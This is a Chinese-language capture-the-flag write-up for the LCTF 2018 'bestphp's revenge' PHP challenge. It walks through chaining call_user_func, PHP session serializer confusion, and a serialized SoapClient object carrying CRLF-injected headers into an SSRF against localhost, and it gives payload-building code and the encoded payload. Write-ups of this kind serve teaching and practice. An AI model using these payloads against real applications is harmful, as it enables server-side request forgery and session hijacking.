首页 > Web开发 > 详细

bestphp's revenge

时间:2021-06-22 00:03:03      阅读:47      评论:0      收藏:0      [点我收藏+]

bestphp‘s revenge

前言:

之前其实做过这种类型的题,但还是没做起,

知识点:

使用 SoapClient 类进行 SSRF

session反序列化

回调函数call_user_func的利用

解题:

源码:

//index.php
<?php
highlight_file(__FILE__);
$b = ‘implode‘;
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),‘welcome_to_the_lctf2018‘);
call_user_func($b,$a);
?>
//flag.php
session_start();
echo ‘only localhost can get flag!‘;
$flag = ‘LCTF{*************************}‘;
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION[‘flag‘] = $flag;
   }
only localhost can get flag!

首先,看到index.php,我们可以想到传入fextract,去覆盖$b的值,但看到flag.php,我们肯定是构造反序列化触发SSRF请求127.0.0.1/flag,但是没有可利用得类,就想到原生类,之前遇见类似的题,就是利用SoapClient类进行SSRF,

但是我们现在就需要寻找如何反序列化,index.php里面就只有一个call_user_func(),但是call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如:

技术分享图片

在这道题我们如何利用呢,

可以先把$b覆盖为call_user_func,然后让nameSoapClient,所以最后面的call_user_func($b,$a)就变成了call_user_func(call_user_func,array(‘SoapClient‘,‘welcome_to_the_lctf2018‘))

就相当于执行SoapClient类里面的welcome_to_the_lctf2018方法,但是不存在,就会调用该类里面的__call魔术方法造成SSRF,

然后还是需要一个反序列化点,看见这里存在session,就会想到session反序列化,因为这里的call_user_fun(),我们可以修改session的序列引擎php_serilaze,所以就会把我们的namephp_serilaze形式储存,然后再以相同cookie去覆盖$b就可以触发session反序列化,从而去触发SSRF,步骤如下:

所以先构造SOAP类的内容:

<?php
$target = ‘http://127.0.0.1/flag.php‘;
$a = new SoapClient(null,array(‘location‘ => $target, ‘user_agent‘ => "w0s1np\r\nCookie: PHPSESSID=woshilnp", ‘uri‘ => ‘test‘));
$b = urlencode(serialize($a));
echo $b; // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

得到:

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A34%3A%22w0s1np%0D%0ACookie%3A+PHPSESSID%3Dwoshilnp%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{},那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"会被php解析成键名,后面就是一个test对象的注入。

所以可以构造session_start([‘serialize_handler‘=>‘php_serialize‘])达到注入的效果。

技术分享图片

触发反序列化使SoapClient发送请求:

技术分享图片

再利用构造的cookie访问即可

技术分享图片

bestphp's revenge

原文:https://www.cnblogs.com/w0s1np/p/14916345.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!